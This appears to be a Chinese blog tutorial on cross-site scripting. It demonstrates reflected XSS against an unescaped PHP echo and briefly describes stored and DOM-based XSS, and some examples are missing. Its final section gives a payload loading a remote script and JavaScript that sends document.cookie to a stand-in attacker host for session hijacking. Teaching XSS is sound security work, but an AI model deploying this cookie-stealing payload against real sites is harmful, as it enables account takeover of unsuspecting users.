@1kbfree
2018-04-20T14:04:44.000000Z
字数 1839
阅读 1493
渗透
介绍
XSS又叫CSS (CrossSiteScript),因为与层叠样式表(css)重名,所以叫Xss,中文名叫跨站脚本攻击。
凡是存在输入框的地方,都可能存在xss漏洞
Xss漏洞原理
Xss攻击,主要就是攻击者通过“html注入”篡改了网页,插入了恶意的脚本,从而在用户浏览网页时,控制用户浏览器的一种攻击方式。
一起来见证一下Xss
<?php
$context = $_GET['name']; #将GET过来的name值赋值给$context
echo "<h1>".$context."</h1>"; #将$context打印在h1标签里
?>
然后我们访问网站并传输一个值:http://127.0.0.1/xsstest/test.php?name=free
可以看到我们输入的free的确在页面中显示了出来,而在代码中是这样的
<h1>free</h1>
如果我们现在插入一条恶意脚本(JavaScript)会怎么样,让我们看看,输入http://127.0.0.1/xsstest/test.php?name=alert('xss')
可以看到,这个网站是存在Xss漏洞攻击的,再看看现在网站的原代码
<h1><script>alert('xss')</script></h1>
用户输入的内容,被当成代码执行了,这样的Xss叫做反射型Xss
Xss分这几种:
存储型Xss:
DOM Based Xss:
通过修改页面的DOM节点形成的Xss,称为DOM Based Xss
这是代码部分:
浏览器效果:
我们可以清楚的看到输入框中的内容成功的写在了“测试”的href里,那么我们可以来构造一下这段代码:
可以看到我们构造了一段代码,并且成功执行了插入的js代码,代码中的\表示注释,要将后面的代码注释了才能执行这段js代码
Xss攻击进阶
接下来,我们将以攻击者角度体验一下Xss的威力
Xss攻击成功后,攻击者可以对用户当前浏览的页面植入恶意脚本,来控制用户的浏览器,这些用来完成各种具体功能的恶意脚本被称为“Xss Payload”
Xss其实就是JavaScript脚本还可以是Flash或其他客户端的脚本,所以,任何JavaScript能实现的功能,Xss Payload都能做到
一个常见的Xss payload就是获取浏览器的Cookie,从而发起“cookie劫持”攻击,从而导致攻击者不用输入密码,直接使用盗取过来的Cookie登录进用户的账户。
攻击者先加载一个远程脚本:
http://www.xss.com/xss.html?name="><script scr=http://www.xxx.com/getc.js ></script>
真正的XSS Payload现在这个远程脚本中,避免直接在URL的参数里写入大量的JavaScript代码。
在getc.js中,可以通过如下代码窃取Cookie:
var img=document.createElement("img"); //创建一个img
img.src="http://www.xxx.com/get_cookie?"+escape(document.cookie); //这里我们要在http://www.xxx.com/get_cookie网站里设置一下,将所有get请求过来的值保存到数据库,这样我们就可以获取到受害者cookie并保存了。
document.body.appendChild(img);
这段代码在页面中插入了一张看不见的图片,同时把document.cookie对象作为参数发送到远程服务器。
这样就完成了一个最简单的窃取Cookie的XSS Payload。
然后攻击者可以用这个Cookie直接登录。